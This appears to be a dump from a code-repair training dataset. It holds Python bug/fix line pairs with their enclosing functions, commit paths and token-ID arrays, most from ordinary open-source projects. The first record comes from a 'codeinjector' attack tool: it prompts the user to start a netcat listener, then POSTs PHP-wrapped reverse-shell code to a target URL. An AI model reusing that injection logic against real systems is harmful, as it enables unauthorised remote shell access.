cmdline: nc -l -vv -p %d" %port raw_input("Open netcat on the target machine now and press enter...") print "Creating reverse shell now..." shellcode = settings["reverse_shell_code"] shellcode = shellcode.replace("__IP__", ip) shellcode = shellcode.replace("__PORT__", str(port)) shellcode = "<? echo '%s'; ?> %s <? echo '%s'; ?>" %(rndStart, shellcode, rndEnd) code = self.doPostRequest(url, shellcode) code = code[code.find(rndStart)+len(rndStart): code.find(rndEnd)] print code.strip() sys.exit(0)
def start(self): domain = self.chooseDomains() vuln = self.chooseVuln(domain.getAttribute("hostname"))
a60bc90a36dd4d14d25cc60660ecc341b7c9e9f0 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/4412/a60bc90a36dd4d14d25cc60660ecc341b7c9e9f0/codeinjector.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 787, 12, 2890, 4672, 2461, 273, 365, 18, 25777, 15531, 1435, 331, 332, 82, 282, 273, 365, 18, 25777, 58, 332, 82, 12, 4308, 18, 588, 1499, 2932, 10358, 6, 3719, 2, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 787, 12, 2890, 4672, 2461, 273, 365, 18, 25777, 15531, 1435, 331, 332, 82, 282, 273, 365, 18, 25777, 58, 332, 82, 12, 4308, 18, 588, 1499, 2932, 10358, 6, 3719, 2, -100, -100, -100, ...
print " ".join(texts)
self.stdout.write("%s\n"%str(" ".join(texts)))
def columnize(self, list, displaywidth=80): """Display a list of strings as a compact set of columns.
983b00882400986b292837a25ef866fc897d603b /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/8546/983b00882400986b292837a25ef866fc897d603b/cmd.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1057, 554, 12, 2890, 16, 666, 16, 2562, 2819, 33, 3672, 4672, 3536, 4236, 279, 666, 434, 2064, 487, 279, 6739, 444, 434, 2168, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1057, 554, 12, 2890, 16, 666, 16, 2562, 2819, 33, 3672, 4672, 3536, 4236, 279, 666, 434, 2064, 487, 279, 6739, 444, 434, 2168, 18, 2, -100, -100, -100, -100, -100, -100, -100, -100, -1...
def set_mass(self, mass): self._set('mass', mass)
def set_mass(self, mass): self._set('mass', mass)
fe3201bca650eac02d6c7e4511d5b69af9cf0753 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/1380/fe3201bca650eac02d6c7e4511d5b69af9cf0753/atom.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 444, 67, 10424, 12, 2890, 16, 8039, 4672, 365, 6315, 542, 2668, 10424, 2187, 8039, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 444, 67, 10424, 12, 2890, 16, 8039, 4672, 365, 6315, 542, 2668, 10424, 2187, 8039, 13, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, ...
Returns the Cartan Type.
Returns the Cartan type.
def cartan_type(self): """ Returns the Cartan Type.
426aec46fc27abb10bd553529a37d002d6f934b3 /local1/tlutelli/issta_data/temp/all_python//python/2009_temp/2009/9890/426aec46fc27abb10bd553529a37d002d6f934b3/weyl_characters.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7035, 304, 67, 723, 12, 2890, 4672, 3536, 2860, 326, 17695, 304, 1412, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 7035, 304, 67, 723, 12, 2890, 4672, 3536, 2860, 326, 17695, 304, 1412, 18, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, ...
""" Creates an original file, saves it to the server and returns the result @param queryService: The query service E.g. session.getQueryService() @param updateService: The update service E.g. session.getUpdateService() @param filename: The file path and name (or name if in same folder). String @param format: The Format object representing the file format @param ofileName: Optional name for the original file @return: The saved OriginalFileI, as returned from the server """ originalFile = omero.model.OriginalFileI(); if(ofilename == None): ofilename = filename; originalFile.setName(omero.rtypes.rstring(ofilename)); originalFile.setPath(omero.rtypes.rstring(ofilename)); originalFile.setFormat(format); originalFile.setSize(omero.rtypes.rlong(os.path.getsize(filename))); originalFile.setSha1(omero.rtypes.rstring(calcSha1(filename))); return updateService.saveAndReturnObject(originalFile);
""" Creates an original file, saves it to the server and returns the result @param queryService: The query service E.g. session.getQueryService() @param updateService: The update service E.g. session.getUpdateService() @param filename: The file path and name (or name if in same folder). String @param format: The Format object representing the file format @param ofileName: Optional name for the original file @return: The saved OriginalFileI, as returned from the server """ originalFile = omero.model.OriginalFileI(); if(ofilename == None): ofilename = filename; originalFile.setName(omero.rtypes.rstring(ofilename)); originalFile.setPath(omero.rtypes.rstring(ofilename)); originalFile.setFormat(format); originalFile.setSize(omero.rtypes.rlong(os.path.getsize(filename))); originalFile.setSha1(omero.rtypes.rstring(calcSha1(filename))); return updateService.saveAndReturnObject(originalFile);
def createFile(updateService, filename, format, ofilename=None): """ Creates an original file, saves it to the server and returns the result @param queryService: The query service E.g. session.getQueryService() @param updateService: The update service E.g. session.getUpdateService() @param filename: The file path and name (or name if in same folder). String @param format: The Format object representing the file format @param ofileName: Optional name for the original file @return: The saved OriginalFileI, as returned from the server """ originalFile = omero.model.OriginalFileI(); if(ofilename == None): ofilename = filename; originalFile.setName(omero.rtypes.rstring(ofilename)); originalFile.setPath(omero.rtypes.rstring(ofilename)); originalFile.setFormat(format); originalFile.setSize(omero.rtypes.rlong(os.path.getsize(filename))); originalFile.setSha1(omero.rtypes.rstring(calcSha1(filename))); return updateService.saveAndReturnObject(originalFile);
e2dc7cca62da3c696a583c0590857d6af43a6e58 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/12409/e2dc7cca62da3c696a583c0590857d6af43a6e58/script_utils.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 21266, 12, 2725, 1179, 16, 1544, 16, 740, 16, 434, 2550, 33, 7036, 4672, 3536, 10210, 392, 2282, 585, 16, 14649, 518, 358, 326, 1438, 471, 1135, 326, 563, 225, 632, 891, 843, 1179, 30,...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 21266, 12, 2725, 1179, 16, 1544, 16, 740, 16, 434, 2550, 33, 7036, 4672, 3536, 10210, 392, 2282, 585, 16, 14649, 518, 358, 326, 1438, 471, 1135, 326, 563, 225, 632, 891, 843, 1179, 30,...
'Here is the first node we found that generated a type that is not the same as the output wanted.',
'Hint: FWIW, this is the closest node that generated an incompatible dtype:',
def get_first_node(node, dtype): if node is None: return None if any([o.dtype!=dtype for o in node.outputs]): for i in node.inputs: n = get_first_node(i.owner, dtype) if n is not None: return n return node#no parent generated a different type else: return None
a163846d3a3b6a281fcb9f40adf797eebf4737ec /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/12438/a163846d3a3b6a281fcb9f40adf797eebf4737ec/pfunc.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 336, 67, 3645, 67, 2159, 12, 2159, 16, 3182, 4672, 309, 756, 353, 599, 30, 327, 599, 309, 1281, 3816, 83, 18, 8972, 5, 33, 8972, 364, 320, 316, 756, 18, 12295, 65, 4672, 364, 277, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 336, 67, 3645, 67, 2159, 12, 2159, 16, 3182, 4672, 309, 756, 353, 599, 30, 327, 599, 309, 1281, 3816, 83, 18, 8972, 5, 33, 8972, 364, 320, 316, 756, 18, 12295, 65, 4672, 364, 277, ...
bin = os.path.join(devpack, 'usr', 'bin') path = [bin] if 'PATH' in os.environ: path.append(os.environ.get('PATH')) os.environ['PATH'] = os.pathsep.join(path)
path.append(os.path.join(devpack, 'usr', 'bin')) if 'PATH' in os.environ: path.append(os.environ.get('PATH')) os.environ['PATH'] = os.pathsep.join(path)
def _configureModules(): if os.name.startswith('win'): # if CSPDEVPACK is defined in the environment, add the devpack bin # directory to the execution path. this ensures that devpack libraries # will be found before other (potentially incompatible) versions of the # same libraries. note that windows is currently the only system with # a devpack. devpack = os.environ.get('CSPDEVPACK') if devpack: bin = os.path.join(devpack, 'usr', 'bin') path = [bin] if 'PATH' in os.environ: path.append(os.environ.get('PATH')) os.environ['PATH'] = os.pathsep.join(path)
14d4c52ae6e7df4c2fc354d91ec53b70fe03f260 /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/14747/14d4c52ae6e7df4c2fc354d91ec53b70fe03f260/__init__.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 14895, 7782, 13332, 309, 1140, 18, 529, 18, 17514, 1918, 2668, 8082, 11, 4672, 468, 309, 385, 3118, 15301, 12231, 353, 2553, 316, 326, 3330, 16, 527, 326, 4461, 2920, 4158, 468, 186...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 389, 14895, 7782, 13332, 309, 1140, 18, 529, 18, 17514, 1918, 2668, 8082, 11, 4672, 468, 309, 385, 3118, 15301, 12231, 353, 2553, 316, 326, 3330, 16, 527, 326, 4461, 2920, 4158, 468, 186...
sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 - x + R(1/4), ... p, M, -2) sage: A [2715 187] [1445 408]
sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 - x + R(1/4), ... p, M, -2) sage: A [2715 187] [1445 408]
def matrix_of_frobenius(Q, p, M, trace=None, compute_exact_forms=False): """ Computes the matrix of Frobenius on Monsky-Washnitzer cohomology, with respect to the basis $(dx/y, x dx/y)$. INPUT: Q -- cubic polynomial $Q(x) = x^3 + ax + b$ defining an elliptic curve E by $y^2 = Q(x)$. The coefficient ring of Q should be a $\Z/(p^M)\Z$-algebra in which the matrix of frobenius will be constructed. p -- prime >= 5 for which E has good reduction M -- integer >= 2; $p$-adic precision of the coefficient ring trace -- (optional) the trace of the matrix, if known in advance. This is easy to compute because it's just the $a_p$ of the curve. If the trace is supplied, matrix_of_frobenius will use it to speed the computation (i.e. we know the determinant is $p$, so we have two conditions, so really only column of the matrix needs to be computed. It's actually a little more complicated than that, but that's the basic idea.) If trace=None, then both columns will be computed independently, and you can get a strong indication of correctness by verifying the trace afterwards. WARNING: -- THE RESULT WILL NOT NECESSARILY BE CORRECT TO M p-ADIC DIGITS. If you want prec digits of precision, you need to use the function adjusted_prec(), and then you need to reduce the answer mod p^prec at the end. OUTPUT: 2x2 matrix of frobenius on Monsky-Washnitzer cohomology, with entries in the coefficient ring of Q. EXAMPLES: A simple example: sage: p = 5 sage: prec = 3 sage: M = monsky_washnitzer.adjusted_prec(p, prec) sage: M 5 sage: R.<x> = PolynomialRing(Integers(p**M)) sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 - x + R(1/4), p, M) sage: A [3090 187] [2945 408] But the result is only accurate to prec digits: sage: B = A.change_ring(Integers(p**prec)) sage: B [90 62] [70 33] Check trace (123 = -2 mod 125) and determinant: sage: B.det() 5 sage: B.trace() 123 sage: EllipticCurve([-1, 1/4]).ap(5) -2 Try using the trace to speed up the calculation: sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 - x + R(1/4), ... p, M, -2) sage: A [2715 187] [1445 408] Hmmm... it looks different, but that's because the trace of our first answer was only -2 modulo $5^3$, not -2 modulo $5^5$. So the right answer is: sage: A.change_ring(Integers(p**prec)) [90 62] [70 33] Check it works with only one digit of precision: sage: p = 5 sage: prec = 1 sage: M = monsky_washnitzer.adjusted_prec(p, prec) sage: R.<x> = PolynomialRing(Integers(p**M)) sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 - x + R(1/4), p, M) sage: A.change_ring(Integers(p)) [0 2] [0 3] Here's an example that's particularly badly conditioned for using the trace trick: sage: p = 11 sage: prec = 3 sage: M = monsky_washnitzer.adjusted_prec(p, prec) sage: R.<x> = PolynomialRing(Integers(p**M)) sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 + 7*x + 8, p, M) sage: A.change_ring(Integers(p**prec)) [1144 176] [ 847 185] The problem here is that the top-right entry is divisible by 11, and the bottom-left entry is divisible by $11^2$. So when you apply the trace trick, neither $F(dx/y)$ nor $F(x dx/y)$ is enough to compute the whole matrix to the desired precision, even if you try increasing the target precision by one. Nevertheless, \code{matrix_of_frobenius} knows how to get the right answer by evaluating $F((x+1) dx/y)$ instead: sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 + 7*x + 8, p, M, -2) sage: A.change_ring(Integers(p**prec)) [1144 176] [ 847 185] The running time is about \code{O(p * prec**2)} (times some logarithmic factors), so it's feasible to run on fairly large primes, or precision (or both?!?!): sage: p = 10007 sage: prec = 2 sage: M = monsky_washnitzer.adjusted_prec(p, prec) sage: R.<x> = PolynomialRing(Integers(p**M)) sage: A = monsky_washnitzer.matrix_of_frobenius( # long time ... x^3 - x + R(1/4), p, M) # long time sage: B = A.change_ring(Integers(p**prec)); B # long time [74311982 57996908] [95877067 25828133] sage: B.det() # long time 10007 sage: B.trace() # long time 66 sage: EllipticCurve([-1, 1/4]).ap(10007) # long time 66 sage: p = 5 sage: prec = 300 sage: M = monsky_washnitzer.adjusted_prec(p, prec) sage: R.<x> = PolynomialRing(Integers(p**M)) sage: A = monsky_washnitzer.matrix_of_frobenius( # long time ... x^3 - x + R(1/4), p, M) # long time sage: B = A.change_ring(Integers(p**prec)) # long time sage: B.det() # long time 5 sage: -B.trace() # long time 2 sage: EllipticCurve([-1, 1/4]).ap(5) # long time -2 Let's check consistency of the results for a range of precisions: sage: p = 5 sage: max_prec = 60 sage: M = monsky_washnitzer.adjusted_prec(p, max_prec) sage: R.<x> = PolynomialRing(Integers(p**M)) sage: A = monsky_washnitzer.matrix_of_frobenius(x^3 - x + R(1/4), p, M) # long time sage: A = A.change_ring(Integers(p**max_prec)) # long time sage: result = [] # long time sage: for prec in range(1, max_prec): # long time ... M = monsky_washnitzer.adjusted_prec(p, prec) # long time ... R.<x> = PolynomialRing(Integers(p^M),'x') # long time ... B = monsky_washnitzer.matrix_of_frobenius( # long time ... x^3 - x + R(1/4), p, M) # long time ... B = B.change_ring(Integers(p**prec)) # long time ... result.append(B == A.change_ring( # long time ... Integers(p**prec))) # long time sage: result == [True] * (max_prec - 1) # long time True The remaining examples discuss what happens when you take the coefficient ring to be a power series ring; i.e. in effect you're looking at a family of curves. The code does in fact work... sage: p = 11 sage: prec = 3 sage: M = monsky_washnitzer.adjusted_prec(p, prec) sage: S.<t> = PowerSeriesRing(Integers(p**M), default_prec=4) sage: a = 7 + t + 3*t^2 sage: b = 8 - 6*t + 17*t^2 sage: R.<x> = PolynomialRing(S) sage: Q = x**3 + a*x + b sage: A = monsky_washnitzer.matrix_of_frobenius(Q, p, M) # long time sage: B = A.change_ring(PowerSeriesRing(Integers(p**prec), 't', default_prec=4)) # long time sage: B # long time [1144 + 264*t + 841*t^2 + 1025*t^3 + O(t^4) 176 + 1052*t + 216*t^2 + 523*t^3 + O(t^4)] [ 847 + 668*t + 81*t^2 + 424*t^3 + O(t^4) 185 + 341*t + 171*t^2 + 642*t^3 + O(t^4)] The trace trick should work for power series rings too, even in the badly- conditioned case. Unfortunately I don't know how to compute the trace in advance, so I'm not sure exactly how this would help. Also, I suspect the running time will be dominated by the expansion, so the trace trick won't really speed things up anyway. Another problem is that the determinant is not always p: sage: B.det() # long time 11 + 484*t^2 + 451*t^3 + O(t^4) However, it appears that the determinant always has the property that if you substitute t -> 11t, you do get the constant series p (mod p**prec). Similarly for the trace. And since the parameter only really makes sense when it's divisible by p anyway, perhaps this isn't a problem after all. """ M = int(M) if M < 2: raise ValueError, "M (=%s) must be at least 2" % M base_ring = Q.base_ring() # Expand out frobenius of dx/y and x dx/y. # (You can substitute frobenius_expansion_by_series here, that will work # as well. See its docstring for some performance notes.) F0, F1, offset = frobenius_expansion_by_newton(Q, p, M) #F0, F1, offset = frobenius_expansion_by_series(Q, p, M) if compute_exact_forms: # we need to do all the work to get the exact expressions f such that F(x^i dx/y) = df + \sum a_i x^i dx/y F0_coeffs = transpose_list(F0.coeffs()) F0_reduced, f_0 = reduce_all(Q, p, F0_coeffs, offset, True) F1_coeffs = transpose_list(F1.coeffs()) F1_reduced, f_1 = reduce_all(Q, p, F1_coeffs, offset, True) elif M == 2: # This implies that only one digit of precision is valid, so we only need # to reduce the second column. Also, the trace doesn't help at all. F0_reduced = [ base_ring(0), base_ring(0) ] F1_coeffs = transpose_list(F1.coeffs()) F1_reduced = reduce_all(Q, p, F1_coeffs, offset) elif trace is None: # No trace provided, just reduce F(dx/y) and F(x dx/y) separately. F0_coeffs = transpose_list(F0.coeffs()) F0_reduced = reduce_all(Q, p, F0_coeffs, offset) F1_coeffs = transpose_list(F1.coeffs()) F1_reduced = reduce_all(Q, p, F1_coeffs, offset) else: # Trace has been provided. # In most cases this can be used to quickly compute F(dx/y) from # F(x dx/y). However, if we're unlucky, the (dx/y)-component of # F(x dx/y) (i.e. the top-right corner of the matrix) may be divisible # by p, in which case there isn't enough information to get the # (x dx/y)-component of F(dx/y) to the desired precision. When this # happens, it turns out that F((x+1) dx/y) always *does* give enough # information (together with the trace) to get both columns to the # desired precision. # First however we need a quick way of telling whether the top-right # corner is divisible by p, i.e. we want to compute the second column # of the matrix mod p. We could do this by just running the entire # algorithm with M = 2 (which assures precision 1). Luckily, we've # already done most of the work by computing F1 to high precision; so # all we need to do is extract the coefficients that would correspond # to the first term of the series, and run the reduction on them. # todo: actually we only need to do this reduction step mod p^2, not # mod p^M, which is what the code currently does. If the base ring # is Integers(p^M), then it's easy. Otherwise it's tricky to construct # the right ring, I don't know how to do it. F1_coeffs = transpose_list(F1.coeffs()) F1_modp_coeffs = F1_coeffs[int((M-2)*p):] # make a copy, because reduce_all will destroy the coefficients: F1_modp_coeffs = [[cell for cell in row] for row in F1_modp_coeffs] F1_modp_offset = offset - (M-2)*p F1_modp_reduced = reduce_all(Q, p, F1_modp_coeffs, F1_modp_offset) if F1_modp_reduced[0].is_unit(): # If the first entry is invertible mod p, then F(x dx/y) is sufficient # to get the whole matrix. F1_reduced = reduce_all(Q, p, F1_coeffs, offset) F0_reduced = [ base_ring(trace) - F1_reduced[1], None ] # using that the determinant is p: F0_reduced[1] = (F0_reduced[0] * F1_reduced[1] - base_ring(p)) \ / F1_reduced[0] else: # If the first entry is zero mod p, then F((x+1) dx/y) will be sufficient # to get the whole matrix. (Here we are using the fact that the second # entry *cannot* be zero mod p. This is guaranteed by some results in # section 3.2 of ``Computation of p-adic Heights and Log Convergence'' # by Mazur, Stein, Tate. But let's quickly check it anyway :-)) assert F1_modp_reduced[1].is_unit(), \ "Hey that's impossible! The second entry in the second column " \ "should be invertible mod p!" G0_coeffs = transpose_list( (F0 + F1).coeffs()) G0_reduced = reduce_all(Q, p, G0_coeffs, offset) # Now G0_reduced expresses F((x+1) dx/y) in terms of dx/y and x dx/y. # Re-express this in terms of (x+1) dx/y and x dx/y. H0_reduced = [ G0_reduced[0], G0_reduced[1] - G0_reduced[0] ] # The thing we're about to divide by better be a unit. assert H0_reduced[1].is_unit(), \ "Hey that's impossible! The second entry in this column " \ "should be invertible mod p!" # Figure out the second column using the trace... H1_reduced = [ None, base_ring(trace) - H0_reduced[0] ] # ... and using that the determinant is p: H1_reduced[0] = (H0_reduced[0] * H1_reduced[1] - base_ring(p)) \ / H0_reduced[1] # Finally, change back to the usual basis (dx/y, x dx/y) F1_reduced = [ H1_reduced[0], \ H1_reduced[0] + H1_reduced[1] ] F0_reduced = [ H0_reduced[0] - F1_reduced[0], H0_reduced[0] + H0_reduced[1] - F1_reduced[1] ] # One more sanity check: our final result should be congruent mod p # to the approximation we used earlier. assert not ( (F1_reduced[0] - F1_modp_reduced[0]).is_unit() or \ (F1_reduced[1] - F1_modp_reduced[1]).is_unit() or \ F0_reduced[0].is_unit() or F0_reduced[1].is_unit()), \ "Hey that's impossible! The output matrix is not congruent mod p " \ "to the approximation found earlier!" if compute_exact_forms: return matrix(base_ring, 2, 2, [F0_reduced[0], F1_reduced[0], F0_reduced[1], F1_reduced[1]]), f_0, f_1 else: return matrix(base_ring, 2, 2, [F0_reduced[0], F1_reduced[0], F0_reduced[1], F1_reduced[1]])
894b878ec3bbe6ef06c36aa7cf3e8cd6f2838986 /local1/tlutelli/issta_data/temp/all_python//python/2007_temp/2007/9417/894b878ec3bbe6ef06c36aa7cf3e8cd6f2838986/monsky_washnitzer.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3148, 67, 792, 67, 74, 303, 19425, 8384, 12, 53, 16, 293, 16, 490, 16, 2606, 33, 7036, 16, 3671, 67, 17165, 67, 9741, 33, 8381, 4672, 3536, 14169, 281, 326, 3148, 434, 478, 303, 1942...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 3148, 67, 792, 67, 74, 303, 19425, 8384, 12, 53, 16, 293, 16, 490, 16, 2606, 33, 7036, 16, 3671, 67, 17165, 67, 9741, 33, 8381, 4672, 3536, 14169, 281, 326, 3148, 434, 478, 303, 1942...
assert s.c == []
def test_close_local_of_local_start(): up = DummyTransfer() down = DummyTransfer() s = DummyScheduler() c = Connecter(up, down, s, 5, 6) e = DummyEncrypter() c.set_encrypter(e) c.start_connecting(['testcode.com']) assert s.c == [] assert e.c == ['testcode.com'] del e.c[:] dc = DummyConnection('a' * 20, 'testcode.com') c.locally_initiated_connection_completed(dc) assert len(down.cs_made) == 1 and down.cs_made[0].get_id() == 'a' * 20 assert len(up.cs_made) == 0 assert s.c == [] assert dc.m == ['download'] del dc.m[:] down.cs_made[0].send_message('a') assert dc.m == ['a'] c.got_message(dc, 'b') assert down.m == [(down.cs_made[0], 'b')] assert not dc.closed down.cs_made[0].close() assert dc.closed assert s.c == []
e515f2d77bfcdfdf465f07113b3fb94b00f492ad /local1/tlutelli/issta_data/temp/all_python//python/2006_temp/2006/4538/e515f2d77bfcdfdf465f07113b3fb94b00f492ad/Connecter.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 4412, 67, 3729, 67, 792, 67, 3729, 67, 1937, 13332, 731, 273, 28622, 5912, 1435, 2588, 273, 28622, 5912, 1435, 272, 273, 28622, 11870, 1435, 276, 273, 8289, 264, 12, 416, 16, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1842, 67, 4412, 67, 3729, 67, 792, 67, 3729, 67, 1937, 13332, 731, 273, 28622, 5912, 1435, 2588, 273, 28622, 5912, 1435, 272, 273, 28622, 11870, 1435, 276, 273, 8289, 264, 12, 416, 16, ...
Compute a latex representation of each object in objects, compile, and display using xdvi. (Requires latex and xdvi be installed.)
Compute a latex representation of each object in objects, compile, and display using xdvi. (Requires latex and xdvi be installed.)
def view(objects, title='SAGE', zoom=4, expert=True, debug=False, \ sep='$$ $$', tiny=False, center=False, **kwds): """ Compute a latex representation of each object in objects, compile, and display using xdvi. (Requires latex and xdvi be installed.) NOTE: In notebook mode this function simply embeds a png image in the output and doesn't do any of the following. INPUT: objects -- list (or object) title -- string zoom -- zoom factor, passed on to xdvi expert -- bool (True or False): mode passed onto xdvi debug -- bool (True of False): print verbose output sep -- string -- controls separators for math objects tiny -- bool (default: False) use tiny font. center -- bool (default: False) center OUTPUT: Pops up xdvi with the objects displayed. """ if EMBEDDED_MODE: print typeset(objects) return if isinstance(objects, LatexExpr): s = str(objects) else: s = _latex_file_(objects, title=title, expert=expert, debug=debug, sep=sep, tiny=tiny, center=center) SAGE_ROOT = os.environ['SAGE_ROOT'] tmp = tmp_dir('sage_viewer') open('%s/sage.tex'%tmp,'w').write(s) os.system('ln -sf %s/devel/doc/commontex/macros.tex %s'%(SAGE_ROOT, tmp)) O = open('%s/go'%tmp,'w') #O.write('export TEXINPUTS=%s/doc/commontex:.\n'%SAGE_ROOT) O.write('latex \\\\nonstopmode \\\\input{sage.tex}; xdvi -noscan -offsets 0.3 -paper 100000x100000 -s %s sage.dvi ; rm sage.* macros.* go ; cd .. ; rmdir %s'%(zoom,tmp)) O.close() if not debug: direct = '1>/dev/null 2>/dev/null' else: direct = '' os.system('cd %s; chmod +x go; ./go %s&'%(tmp,direct)) #return os.popen('cd %s; chmod +x go; ./go %s & '%(tmp,direct), 'r').read()
b28c0659535986f38b25ec8c8e945949fca46b65 /local1/tlutelli/issta_data/temp/all_python//python/2008_temp/2008/9890/b28c0659535986f38b25ec8c8e945949fca46b65/latex.py
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1476, 12, 6911, 16, 2077, 2218, 55, 2833, 2187, 7182, 33, 24, 16, 431, 672, 33, 5510, 16, 1198, 33, 8381, 16, 521, 5478, 2218, 16547, 5366, 2187, 24405, 33, 8381, 16, 225, 4617, 33, ...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ 1, 8585, 326, 22398, 316, 326, 981, 30, 1652, 1476, 12, 6911, 16, 2077, 2218, 55, 2833, 2187, 7182, 33, 24, 16, 431, 672, 33, 5510, 16, 1198, 33, 8381, 16, 521, 5478, 2218, 16547, 5366, 2187, 24405, 33, 8381, 16, 225, 4617, 33, ...
("Spanish", "Spanish"),
("Spanish esp", "Spanish"),
def updateDemuxSize(el): enigma.setDemuxSize(int(el.value)) print "[SETTING] getDemuxSize=", enigma.getDemuxSize()
108f1d657fd403d75206c7a59b02965e4c97e6c2 /local1/tlutelli/issta_data/temp/all_python//python/2010_temp/2010/6652/108f1d657fd403d75206c7a59b02965e4c97e6c2/UsageConfig.py
